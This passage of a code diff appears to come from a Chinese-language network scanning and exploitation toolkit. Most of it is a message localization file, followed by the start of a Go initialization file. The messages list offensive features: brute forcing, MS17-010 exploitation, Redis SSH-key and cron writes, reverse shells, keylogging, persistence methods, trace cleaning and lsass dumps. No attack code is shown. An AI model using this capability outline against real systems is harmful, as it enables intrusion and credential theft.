other: "禁用Redis利用"
|
||||
flag_disable_brute:
|
||||
other: "禁用暴力破解"
|
||||
flag_max_retries:
|
||||
other: "最大重试次数"
|
||||
flag_packet_rate_limit:
|
||||
other: "每分钟最大发包次数 (0表示不限制)"
|
||||
flag_max_packet_count:
|
||||
other: "整个程序最大发包总数 (0表示不限制)"
|
||||
flag_icmp_rate:
|
||||
other: "ICMP发包速率 (相对于最大速率的比例,默认0.1,约1463 pps)"
|
||||
flag_output_file:
|
||||
other: "输出文件"
|
||||
flag_output_format:
|
||||
other: "输出格式: txt, json, csv"
|
||||
flag_disable_save:
|
||||
other: "禁用结果保存"
|
||||
flag_silent_mode:
|
||||
other: "静默模式"
|
||||
flag_no_color:
|
||||
other: "禁用颜色输出"
|
||||
flag_log_level:
|
||||
other: "日志级别"
|
||||
flag_disable_progress:
|
||||
other: "禁用进度条"
|
||||
flag_shellcode:
|
||||
other: "Shellcode"
|
||||
flag_reverse_shell_target:
|
||||
other: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)"
|
||||
flag_start_socks5_server:
|
||||
other: "启动SOCKS5代理服务器端口 (如: 1080)"
|
||||
flag_forward_shell_port:
|
||||
other: "启动正向Shell服务器端口 (如: 4444)"
|
||||
flag_persistence_file:
|
||||
other: "Linux持久化目标文件路径 (支持.elf/.sh文件)"
|
||||
flag_win_pe_file:
|
||||
other: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)"
|
||||
flag_keylogger_output:
|
||||
other: "键盘记录输出文件路径"
|
||||
flag_download_url:
|
||||
other: "要下载的文件URL"
|
||||
flag_download_path:
|
||||
other: "下载文件保存路径"
|
||||
flag_language:
|
||||
other: "语言: zh, en"
|
||||
flag_help:
|
||||
other: "显示帮助信息"
|
||||
# ========================= 扫描模式消息 =========================
|
||||
scan_mode_service_selected:
|
||||
other: "已选择服务扫描模式"
|
||||
scan_mode_alive_selected:
|
||||
other: "已选择存活探测模式"
|
||||
scan_mode_local_selected:
|
||||
other: "已选择本地扫描模式"
|
||||
scan_mode_web_selected:
|
||||
other: "已选择Web扫描模式"
|
||||
scan_info_start:
|
||||
other: "开始信息扫描"
|
||||
scan_host_start:
|
||||
other: "开始主机扫描"
|
||||
scan_vulnerability_start:
|
||||
other: "开始漏洞扫描"
|
||||
scan_no_service_plugins:
|
||||
other: "未找到可用的服务插件"
|
||||
|
||||
# ========================= 扫描策略消息 =========================
|
||||
scan_strategy_alive_name:
|
||||
other: "存活探测"
|
||||
scan_strategy_alive_desc:
|
||||
other: "快速探测主机存活状态"
|
||||
scan_strategy_local_name:
|
||||
other: "本地扫描"
|
||||
scan_strategy_local_desc:
|
||||
other: "收集本地系统信息"
|
||||
scan_strategy_service_name:
|
||||
other: "服务扫描"
|
||||
scan_strategy_service_desc:
|
||||
other: "扫描主机服务和漏洞"
|
||||
scan_strategy_web_name:
|
||||
other: "Web扫描"
|
||||
scan_strategy_web_desc:
|
||||
other: "扫描Web应用漏洞和信息"
|
||||
|
||||
# ========================= 存活探测消息 =========================
|
||||
scan_alive_start:
|
||||
other: "开始存活探测"
|
||||
scan_alive_summary_title:
|
||||
other: "存活探测结果摘要"
|
||||
scan_alive_hosts_list:
|
||||
other: "存活主机列表:"
|
||||
|
||||
# ========================= 进度消息 =========================
|
||||
progress_scanning_description:
|
||||
other: "扫描进度"
|
||||
progress_scan_completed:
|
||||
other: "扫描完成:"
|
||||
concurrency_plugin:
|
||||
other: "插件"
|
||||
concurrency_local_plugin:
|
||||
other: "本地插件"
|
||||
concurrency_service_plugin:
|
||||
other: "服务插件"
|
||||
concurrency_web_plugin:
|
||||
other: "Web插件"
|
||||
|
||||
# ========================= 解析错误消息 =========================
|
||||
parse_error_target_empty:
|
||||
other: "目标输入为空"
|
||||
parse_error_no_hosts:
|
||||
other: "解析后没有找到有效的目标主机"
|
||||
parse_error_empty_input:
|
||||
other: "输入参数为空"
|
||||
parse_error_parser_not_init:
|
||||
other: "解析器未初始化"
|
||||
target_local_mode:
|
||||
other: "本地扫描模式"
|
||||
param_conflict_ao_icmp_both:
|
||||
other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式"
|
||||
|
||||
# ========================= 解析器消息 =========================
|
||||
parser_empty_input:
|
||||
other: "输入参数为空"
|
||||
parser_file_scan_failed:
|
||||
other: "文件扫描失败"
|
||||
parser_username_invalid_chars:
|
||||
other: "用户名包含非法字符"
|
||||
parser_password_empty:
|
||||
other: "不允许空密码"
|
||||
parser_hash_empty:
|
||||
other: "哈希值为空"
|
||||
parser_hash_invalid_format:
|
||||
other: "哈希值格式无效,需要32位十六进制字符"
|
||||
|
||||
# ========================= 配置消息 =========================
|
||||
config_web_timeout_warning:
|
||||
other: "Web超时时间大于普通超时时间,可能导致不期望的行为"
|
||||
|
||||
# ========================= 插件扫描消息 (带参数) =========================
|
||||
scan_plugin_not_found:
|
||||
other: "扫描类型 {{.Arg1}} 无对应插件,已跳过"
|
||||
|
||||
# ========================= SSH插件消息 =========================
|
||||
ssh_key_auth_success:
|
||||
other: "SSH密钥认证成功: {{.Arg1}} [{{.Arg2}}]"
|
||||
ssh_pwd_auth_success:
|
||||
other: "SSH密码认证成功: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
|
||||
ssh_key_read_failed:
|
||||
other: "读取SSH私钥失败: {{.Arg1}}"
|
||||
ssh_service_identified:
|
||||
other: "SSH服务识别成功: {{.Arg1}} - {{.Arg2}}"
|
||||
|
||||
# ========================= Redis插件消息 =========================
|
||||
redis_unauth_success:
|
||||
other: "Redis未授权访问: {{.Arg1}}"
|
||||
redis_service_identified:
|
||||
other: "Redis服务识别成功: {{.Arg1}} - {{.Arg2}}"
|
||||
|
||||
# ========================= ICMP相关消息 =========================
|
||||
trying_no_listen_icmp:
|
||||
other: "尝试无监听ICMP探测"
|
||||
insufficient_privileges:
|
||||
other: "权限不足,无法执行原始ICMP探测"
|
||||
switching_to_ping:
|
||||
other: "切换到ping命令模式"
|
||||
icmp_listen_failed:
|
||||
other: "ICMP监听失败: {{.Arg1}}"
|
||||
icmp_connect_failed:
|
||||
other: "ICMP连接失败: {{.Arg1}}"
|
||||
icmp_listener_panic:
|
||||
other: "ICMP监听协程异常: {{.Arg1}}"
|
||||
host_alive:
|
||||
other: "{{.Arg1}} 存活 (协议: {{.Arg2}})"
|
||||
proxy_mode_disable_icmp:
|
||||
other: "检测到代理模式,自动禁用ICMP扫描"
|
||||
segment_16_alive:
|
||||
other: "{{.Arg1}}.0.0/16 网段存活: {{.Arg2}}"
|
||||
segment_24_alive:
|
||||
other: "{{.Arg1}}.0/24 网段存活: {{.Arg2}}"
|
||||
tcp_probe_low_icmp_rate:
|
||||
other: "ICMP响应率过低({{.Arg1}}),启用TCP补充探测({{.Arg2}}个主机)"
|
||||
tcp_probe_found:
|
||||
other: "TCP补充探测发现 {{.Arg1}} 个存活主机"
|
||||
|
||||
# ========================= 存活扫描统计消息 =========================
|
||||
parse_target_failed:
|
||||
other: "解析目标失败: {{.Arg1}}"
|
||||
alive_scan_start_single:
|
||||
other: "开始存活扫描: {{.Arg1}}"
|
||||
alive_scan_start_multi:
|
||||
other: "开始存活扫描: {{.Arg1}}个目标 (首个: {{.Arg2}})"
|
||||
alive_total_hosts:
|
||||
other: "总主机数: {{.Arg1}}"
|
||||
alive_hosts_count:
|
||||
other: "存活主机: {{.Arg1}}"
|
||||
alive_dead_hosts:
|
||||
other: "死亡主机: {{.Arg1}}"
|
||||
alive_success_rate:
|
||||
other: "成功率: {{.Arg1}}"
|
||||
alive_scan_duration:
|
||||
other: "扫描耗时: {{.Arg1}}"
|
||||
alive_host_item:
|
||||
other: " [{{.Arg1}}] {{.Arg2}}"
|
||||
|
||||
# ========================= 扫描器消息 =========================
|
||||
http_client_init_failed:
|
||||
other: "HTTP客户端初始化失败: {{.Arg1}}"
|
||||
active_reverse_shell:
|
||||
other: "检测到活跃的反弹Shell,保持程序运行..."
|
||||
active_socks5_proxy:
|
||||
other: "检测到活跃的SOCKS5代理,保持程序运行..."
|
||||
active_forward_shell:
|
||||
other: "检测到活跃的正向Shell,保持程序运行..."
|
||||
press_ctrl_c_exit:
|
||||
other: "按 Ctrl+C 退出程序"
|
||||
received_exit_signal:
|
||||
other: "收到退出信号,正在关闭..."
|
||||
scan_task_complete:
|
||||
other: "扫描任务完成,耗时 {{.Arg1}},已扫描 {{.Arg2}} 个目标"
|
||||
plugin_panic:
|
||||
other: "插件 {{.Arg1}} 扫描 {{.Arg2}}:{{.Arg3}} 时panic: {{.Arg4}}"
|
||||
plugin_scan_error:
|
||||
other: "插件扫描错误 {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
|
||||
brute_no_weak_pass:
|
||||
other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} 未发现弱密码"
|
||||
|
||||
# ========================= 端口扫描消息 =========================
|
||||
invalid_port:
|
||||
other: "无效端口: {{.Arg1}}"
|
||||
port_scan_start:
|
||||
other: "开始端口扫描,共 {{.Arg1}} 个任务,预计耗时 {{.Arg2}} 秒({{.Arg3}} 分钟)"
|
||||
thread_pool_create_failed:
|
||||
other: "创建线程池失败: {{.Arg1}}"
|
||||
port_scan_complete:
|
||||
other: "扫描完成,发现 {{.Arg1}} 个开放端口"
|
||||
scan_failure_rate_high:
|
||||
other: "扫描失败率过高: {{.Arg1}} ({{.Arg2}}/{{.Arg3}}失败)"
|
||||
scan_failure_reason:
|
||||
other: "可能原因: 线程数过高导致资源耗尽"
|
||||
scan_reduce_threads_suggestion:
|
||||
other: "建议: 降低线程数(当前{{.Arg1}})到50-100,或增加系统ulimit"
|
||||
scan_partial_failure:
|
||||
other: "部分端口扫描失败: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
|
||||
scan_reduce_threads_accuracy:
|
||||
other: "建议: 降低线程数(当前{{.Arg1}})以提高准确性"
|
||||
resource_exhausted_warning:
|
||||
other: "资源耗尽错误 {{.Arg1}} 次,建议降低线程数(-t)或增加ulimit"
|
||||
port_open:
|
||||
other: "端口开放 {{.Arg1}}"
|
||||
port_open_http:
|
||||
other: "端口开放 {{.Arg1}} [http](HTTP探测)"
|
||||
port_scan_no_alive_subnet:
|
||||
other: "网段预筛未发现存活子网,跳过端口扫描"
|
||||
|
||||
# ========================= 本地扫描消息 =========================
|
||||
local_plugin_info:
|
||||
other: "本地插件: {{.Arg1}}"
|
||||
local_plugin_not_specified:
|
||||
other: "本地插件: 未指定"
|
||||
local_plugin_not_found:
|
||||
other: "错误: 本地插件 '{{.Arg1}}' 不存在或在当前平台不可用"
|
||||
|
||||
# ========================= 服务扫描消息 =========================
|
||||
service_plugin_info:
|
||||
other: "服务插件: {{.Arg1}}"
|
||||
service_plugin_custom:
|
||||
other: "服务插件: 自定义指定 ({{.Arg1}})"
|
||||
service_plugin_none:
|
||||
other: "服务插件: 无可用插件"
|
||||
port_out_of_range:
|
||||
other: "端口超出范围: {{.Arg1}} (有效范围: 1-65535)"
|
||||
invalid_target_format:
|
||||
other: "无效的目标格式: {{.Arg1}}"
|
||||
host_port_invalid:
|
||||
other: "主机 {{.Arg1}} 端口格式非法: {{.Arg2}}"
|
||||
host_port_out_of_range:
|
||||
other: "主机 {{.Arg1}} 端口超出范围: {{.Arg2}} (有效范围: 1-65535)"
|
||||
alive_hosts_count_info:
|
||||
other: "存活主机数: {{.Arg1}}"
|
||||
alive_ports_count:
|
||||
other: "存活端口数: {{.Arg1}}"
|
||||
|
||||
# ========================= Web扫描消息 =========================
|
||||
http_proxy_config_error:
|
||||
other: "HTTP代理配置错误: {{.Arg1}}"
|
||||
socks5_not_supported_web:
|
||||
other: "Web检测暂不支持SOCKS5代理,建议使用HTTP代理(-proxy)"
|
||||
url_parse_failed:
|
||||
other: "解析URL失败: {{.Arg1}} - {{.Arg2}}"
|
||||
invalid_scan_target:
|
||||
other: "无效的扫描目标"
|
||||
poc_load_failed:
|
||||
other: "POC加载失败,无法执行扫描"
|
||||
|
||||
# ========================= 基础扫描策略消息 =========================
|
||||
plugins_custom_specified:
|
||||
other: "{{.Arg1}}: 自定义指定 ({{.Arg2}})"
|
||||
plugins_info:
|
||||
other: "{{.Arg1}}: {{.Arg2}}"
|
||||
plugins_none:
|
||||
other: "{{.Arg1}}: 无可用插件"
|
||||
start_local_scan:
|
||||
other: "开始本地扫描"
|
||||
start_service_scan:
|
||||
other: "开始服务扫描"
|
||||
start_web_scan:
|
||||
other: "开始Web扫描"
|
||||
start_scan:
|
||||
other: "开始扫描"
|
||||
|
||||
# ========================= 服务插件通用消息 =========================
|
||||
# 格式: {service}_{type} - type: credential/unauth/service/vuln
|
||||
ldap_credential:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
ldap_hash_credential:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
|
||||
ldap_service:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}"
|
||||
kafka_credential:
|
||||
other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
kafka_service:
|
||||
other: "Kafka {{.Arg1}} {{.Arg2}}"
|
||||
ftp_service:
|
||||
other: "FTP {{.Arg1}} {{.Arg2}}"
|
||||
rdp_service:
|
||||
other: "RDP {{.Arg1}} {{.Arg2}}"
|
||||
activemq_credential:
|
||||
other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
activemq_service:
|
||||
other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
|
||||
telnet_credential:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
telnet_service:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}"
|
||||
telnet_unauth_rce:
|
||||
other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
|
||||
telnet_credential_rce:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
|
||||
telnet_cve202624061:
|
||||
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}"
|
||||
cassandra_credential:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
cassandra_service:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}"
|
||||
cassandra_unauth:
|
||||
other: "Cassandra {{.Arg1}} 无需认证"
|
||||
vnc_unauth:
|
||||
other: "VNC {{.Arg1}} 未授权访问"
|
||||
vnc_credential:
|
||||
other: "VNC {{.Arg1}} 密码: {{.Arg2}}"
|
||||
smtp_credential:
|
||||
other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
smtp_service:
|
||||
other: "SMTP {{.Arg1}} {{.Arg2}}"
|
||||
mongodb_unauth:
|
||||
other: "MongoDB {{.Arg1}} 未授权访问"
|
||||
mongodb_credential:
|
||||
other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mongodb_auth_required:
|
||||
other: "MongoDB {{.Arg1}} 需要认证"
|
||||
elasticsearch_credential:
|
||||
other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
elasticsearch_unauth:
|
||||
other: "Elasticsearch {{.Arg1}} 未授权访问"
|
||||
elasticsearch_service:
|
||||
other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
|
||||
mysql_credential:
|
||||
other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mysql_service:
|
||||
other: "MySQL {{.Arg1}} {{.Arg2}}"
|
||||
memcached_unauth:
|
||||
other: "Memcached {{.Arg1}} 未授权访问"
|
||||
memcached_service:
|
||||
other: "Memcached {{.Arg1}} {{.Arg2}}"
|
||||
rsync_credential:
|
||||
other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
rsync_service:
|
||||
other: "Rsync {{.Arg1}} {{.Arg2}}"
|
||||
oracle_credential:
|
||||
other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
oracle_service:
|
||||
other: "Oracle {{.Arg1}} {{.Arg2}}"
|
||||
oracle_default_account:
|
||||
other: "Oracle {{.Arg1}} 默认账户: {{.Arg2}}:{{.Arg3}}"
|
||||
postgresql_credential:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
postgresql_service:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
|
||||
postgresql_vuln:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
|
||||
smb_service:
|
||||
other: "SMB {{.Arg1}} {{.Arg2}}"
|
||||
rabbitmq_credential:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
rabbitmq_service:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
|
||||
neo4j_unauth:
|
||||
other: "Neo4j {{.Arg1}} 未授权访问"
|
||||
neo4j_credential:
|
||||
other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
neo4j_service:
|
||||
other: "Neo4j {{.Arg1}} {{.Arg2}}"
|
||||
mssql_credential:
|
||||
other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mssql_service:
|
||||
other: "MSSQL {{.Arg1}} {{.Arg2}}"
|
||||
|
||||
# ========================= 漏洞检测消息 =========================
|
||||
smbghost_vuln:
|
||||
other: "SMB Ghost {{.Arg1}} CVE-2020-0796 漏洞存在"
|
||||
ms17010_start:
|
||||
other: "MS17-010利用开始: {{.Arg1}}"
|
||||
ms17010_complete:
|
||||
other: "MS17-010利用完成: {{.Arg1}}"
|
||||
ms17010_shellcode_complete:
|
||||
other: "{{.Arg1}} MS17-010漏洞利用完成 (Shellcode长度: {{.Arg2}})"
|
||||
ms17010_protocol_decrypt_error:
|
||||
other: "协议请求解密错误: {{.Arg1}}"
|
||||
ms17010_protocol_decode_error:
|
||||
other: "协议请求解码错误: {{.Arg1}}"
|
||||
ms17010_session_decrypt_error:
|
||||
other: "会话请求解密错误: {{.Arg1}}"
|
||||
ms17010_session_decode_error:
|
||||
other: "会话请求解码错误: {{.Arg1}}"
|
||||
ms17010_connect_decrypt_error:
|
||||
other: "连接请求解密错误: {{.Arg1}}"
|
||||
ms17010_connect_decode_error:
|
||||
other: "连接请求解码错误: {{.Arg1}}"
|
||||
ms17010_pipe_decrypt_error:
|
||||
other: "管道请求解密错误: {{.Arg1}}"
|
||||
ms17010_pipe_decode_error:
|
||||
other: "管道请求解码错误: {{.Arg1}}"
|
||||
|
||||
# ========================= Redis插件消息 =========================
|
||||
redis_reconnect_failed:
|
||||
other: "重新连接Redis失败: {{.Arg1}}"
|
||||
redis_config_failed:
|
||||
other: "获取Redis配置失败: {{.Arg1}}"
|
||||
redis_write_failed:
|
||||
other: "文件写入失败: {{.Arg1}}"
|
||||
redis_write_success:
|
||||
other: "成功写入文件: {{.Arg1}}"
|
||||
redis_read_failed:
|
||||
other: "读取本地文件失败: {{.Arg1}}"
|
||||
redis_file_write_success:
|
||||
other: "成功将文件 {{.Arg1}} 的内容写入到 {{.Arg2}}"
|
||||
redis_ssh_key_failed:
|
||||
other: "SSH密钥写入失败: {{.Arg1}}"
|
||||
redis_ssh_key_success:
|
||||
other: "SSH密钥写入成功"
|
||||
redis_cron_failed:
|
||||
other: "定时任务写入失败: {{.Arg1}}"
|
||||
redis_cron_success:
|
||||
other: "定时任务写入成功"
|
||||
redis_restore_failed:
|
||||
other: "恢复数据库配置失败: {{.Arg1}}"
|
||||
|
||||
# ========================= 本地插件消息 =========================
|
||||
# 计划任务持久化
|
||||
crontask_success:
|
||||
other: "计划任务持久化完成: {{.Arg1}}个方法成功"
|
||||
|
||||
# 键盘记录
|
||||
keylogger_success:
|
||||
other: "键盘记录完成,捕获了 {{.Arg1}} 个键盘事件"
|
||||
keylogger_save_failed:
|
||||
other: "保存键盘记录失败: {{.Arg1}}"
|
||||
keylogger_no_input:
|
||||
other: "没有捕获到键盘输入"
|
||||
|
||||
# 环境变量信息
|
||||
envinfo_sensitive:
|
||||
other: "发现敏感环境变量: {{.Arg1}}"
|
||||
|
||||
# Windows WMI
|
||||
winwmi_success:
|
||||
other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目"
|
||||
|
||||
# 痕迹清理
|
||||
cleaner_success:
|
||||
other: "痕迹清理完成: {{.Arg1}}个文件, {{.Arg2}}个系统条目"
|
||||
cleaner_history_found:
|
||||
other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)"
|
||||
|
||||
# 文件下载
|
||||
downloader_success:
|
||||
other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)"
|
||||
|
||||
# 正向Shell
|
||||
forwardshell_complete:
|
||||
other: "正向Shell服务完成 - 端口: {{.Arg1}}"
|
||||
forwardshell_started:
|
||||
other: "正向Shell服务器已在 0.0.0.0:{{.Arg1}} 上启动"
|
||||
forwardshell_accept_failed:
|
||||
other: "接受连接失败: {{.Arg1}}"
|
||||
forwardshell_client_connected:
|
||||
other: "客户端连接来自: {{.Arg1}}"
|
||||
forwardshell_read_failed:
|
||||
other: "读取客户端命令失败: {{.Arg1}}"
|
||||
|
||||
# AV检测
|
||||
avdetect_load_failed:
|
||||
other: "加载AV数据库失败: {{.Arg1}}"
|
||||
avdetect_loaded:
|
||||
other: "加载了 {{.Arg1}} 个AV产品信息"
|
||||
avdetect_found:
|
||||
other: "检测到AV: {{.Arg1}} ({{.Arg2}}个进程)"
|
||||
avdetect_process:
|
||||
other: " - {{.Arg1}}"
|
||||
|
||||
# Windows启动文件夹
|
||||
winstartup_success:
|
||||
other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法"
|
||||
|
||||
# 文件信息
|
||||
fileinfo_sensitive:
|
||||
other: "发现敏感文件: {{.Arg1}}"
|
||||
fileinfo_potential:
|
||||
other: "发现潜在敏感文件: {{.Arg1}}"
|
||||
|
||||
# 域控信息
|
||||
dcinfo_not_joined:
|
||||
other: "当前计算机未加入域环境"
|
||||
dcinfo_success:
|
||||
other: "域控制器信息收集完成: {{.Arg1}}个类别成功"
|
||||
|
||||
# Windows服务
|
||||
winservice_success:
|
||||
other: "Windows服务持久化完成: {{.Arg1}}个项目"
|
||||
|
||||
# Shell环境变量
|
||||
shellenv_success:
|
||||
other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功"
|
||||
|
||||
# LD_PRELOAD
|
||||
ldpreload_success:
|
||||
other: "LD_PRELOAD持久化完成: {{.Arg1}}个方法成功"
|
||||
|
||||
# SOCKS5代理
|
||||
socks5_starting:
|
||||
other: "在端口 {{.Arg1}} 上启动SOCKS5代理"
|
||||
socks5_complete:
|
||||
other: "SOCKS5代理完成 - 端口: {{.Arg1}}"
|
||||
socks5_started:
|
||||
other: "SOCKS5代理服务器已在 127.0.0.1:{{.Arg1}} 上启动"
|
||||
socks5_cancelled:
|
||||
other: "SOCKS5代理服务器被上下文取消"
|
||||
socks5_accept_failed:
|
||||
other: "接受连接失败: {{.Arg1}}"
|
||||
socks5_handshake_failed:
|
||||
other: "SOCKS5握手失败: {{.Arg1}}"
|
||||
socks5_request_failed:
|
||||
other: "SOCKS5请求处理失败: {{.Arg1}}"
|
||||
socks5_connected:
|
||||
other: "建立SOCKS5代理连接"
|
||||
|
||||
# 反弹Shell
|
||||
reverseshell_complete:
|
||||
other: "反弹Shell完成 - 目标: {{.Arg1}}"
|
||||
reverseshell_connected:
|
||||
other: "反弹Shell已连接到 {{.Arg1}}:{{.Arg2}}"
|
||||
|
||||
# Systemd服务
|
||||
systemdservice_success:
|
||||
other: "系统服务持久化完成: {{.Arg1}}个方法成功"
|
||||
|
||||
# 系统信息
|
||||
systeminfo_start:
|
||||
other: "开始系统信息收集"
|
||||
systeminfo_os:
|
||||
other: "操作系统: {{.Arg1}}"
|
||||
systeminfo_arch:
|
||||
other: "架构: {{.Arg1}}"
|
||||
systeminfo_cpu:
|
||||
other: "CPU核心数: {{.Arg1}}"
|
||||
systeminfo_hostname:
|
||||
other: "主机名: {{.Arg1}}"
|
||||
systeminfo_user:
|
||||
other: "当前用户: {{.Arg1}}"
|
||||
systeminfo_homedir:
|
||||
other: "用户目录: {{.Arg1}}"
|
||||
systeminfo_workdir:
|
||||
other: "工作目录: {{.Arg1}}"
|
||||
systeminfo_tempdir:
|
||||
other: "临时目录: {{.Arg1}}"
|
||||
systeminfo_pathcount:
|
||||
other: "PATH变量条目: {{.Arg1}}个"
|
||||
systeminfo_winver:
|
||||
other: "Windows版本: {{.Arg1}}"
|
||||
systeminfo_domain:
|
||||
other: "用户域: {{.Arg1}}"
|
||||
systeminfo_kernel:
|
||||
other: "系统内核: {{.Arg1}}"
|
||||
systeminfo_distro:
|
||||
other: "发行版: {{.Arg1}}"
|
||||
systeminfo_distro_exists:
|
||||
other: "发行版: /etc/os-release 存在"
|
||||
systeminfo_whoami:
|
||||
other: "当前用户(whoami): {{.Arg1}}"
|
||||
|
||||
# Windows计划任务
|
||||
winschtask_success:
|
||||
other: "Windows计划任务持久化完成: {{.Arg1}}个项目"
|
||||
|
||||
# Windows注册表
|
||||
winregistry_success:
|
||||
other: "Windows注册表持久化完成: {{.Arg1}}个项目"
|
||||
|
||||
# Minidump
|
||||
minidump_panic:
|
||||
other: "minidump插件发生panic: {{.Arg1}}"
|
||||
minidump_success:
|
||||
other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)"
|
||||
|
||||
# ========================= WebScan消息 =========================
|
||||
webscan_target_url_failed:
|
||||
other: "构建目标URL失败: {{.Arg1}}"
|
||||
webscan_invalid_url:
|
||||
other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
|
||||
webscan_request_create_failed:
|
||||
other: "创建HTTP请求失败: {{.Arg1}}"
|
||||
webscan_builtin_poc_failed:
|
||||
other: "加载内置POC目录失败: {{.Arg1}}"
|
||||
webscan_poc_dir_not_exist:
|
||||
other: "POC目录不存在: {{.Arg1}}"
|
||||
webscan_poc_dir_walk_failed:
|
||||
other: "遍历POC目录失败: {{.Arg1}}"
|
||||
webscan_rule_match_error:
|
||||
other: "规则匹配错误 [{{.Arg1}}]: {{.Arg2}}"
|
||||
webscan_poc_exec_error:
|
||||
other: "执行POC错误 {{.Arg1}}: {{.Arg2}}"
|
||||
webscan_set_exec_error:
|
||||
other: "设置项执行错误 {{.Arg1}}: {{.Arg2}}"
|
||||
webscan_regex_compile_error:
|
||||
other: "正则编译错误: {{.Arg1}}"
|
||||
webscan_reverse_url_error:
|
||||
other: "反连URL解析错误: {{.Arg1}}"
|
||||
webscan_cel_syntax_error:
|
||||
other: "CEL语法错误 [{{.Arg1}}]: {{.Arg2}}"
|
||||
webscan_cel_init_failed:
|
||||
other: "初始化基础CEL环境失败: {{.Arg1}}"
|
||||
webscan_request_restricted:
|
||||
other: "POC HTTP请求 {{.Arg1}} 受限: {{.Arg2}}"
|
||||
webscan_response_parse_failed:
|
||||
other: "响应解析失败: {{.Arg1}}"
|
||||
|
||||
# Main 入口
|
||||
param_error:
|
||||
other: "参数错误: {{.Arg1}}"
|
||||
error_generic:
|
||||
other: "错误: {{.Arg1}}"
|
||||
init_failed:
|
||||
other: "初始化失败: {{.Arg1}}"
|
||||
poc_load_complete:
|
||||
other: "POC加载完成: 总共{{.Arg1}}个,成功{{.Arg2}}个,失败{{.Arg3}}个"
|
||||
redis_scan_success:
|
||||
other: "Redis {{.Arg1}} {{.Arg2}}"
|
||||
rabbitmq_detected:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
|
||||
|
||||
# ========================= Web UI消息 =========================
|
||||
web_server_started:
|
||||
other: "Web服务器已启动,端口: {{.Arg1}}"
|
||||
web_shutting_down:
|
||||
other: "Web服务器正在关闭..."
|
||||
web_mode_not_supported:
|
||||
other: "当前版本不支持Web模式,请使用 -tags web 重新编译"
|
||||
@@ -0,0 +1,92 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
/*
|
||||
initialize.go - 统一初始化入口
|
||||
|
||||
简化后的流程:
|
||||
命令行 → FlagVars → BuildConfig() → Config + State
|
||||
*/
|
||||
|
||||
// InitResult 初始化结果
|
||||
type InitResult struct {
|
||||
Config *Config
|
||||
State *State
|
||||
Info *HostInfo
|
||||
Session *ScanSession
|
||||
}
|
||||
|
||||
// Initialize 统一初始化函数
|
||||
// 封装 BuildConfig → InitOutput 流程
|
||||
func Initialize(info *HostInfo) (*InitResult, error) {
|
||||
// 1. 初始化日志系统
|
||||
InitLogger()
|
||||
|
||||
// 2. 从 FlagVars 构建 Config 和 State
|
||||
cfg, state, err := BuildConfig(GetFlagVars(), info)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("配置构建失败: %w", err)
|
||||
}
|
||||
|
||||
// 3. 设置全局实例
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
// 4. 初始化输出系统
|
||||
if err := InitOutput(); err != nil {
|
||||
return nil, fmt.Errorf("输出初始化失败: %w", err)
|
||||
}
|
||||
|
||||
session := NewScanSession(cfg, state, GetFlagVars())
|
||||
|
||||
return &InitResult{
|
||||
Config: cfg,
|
||||
State: state,
|
||||
Info: info,
|
||||
Session: session,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ValidateExclusiveParams 验证互斥参数
|
||||
// 检查 -h、-u、-local 只能指定一个
|
||||
func ValidateExclusiveParams(info *HostInfo) error {
|
||||
paramCount := 0
|
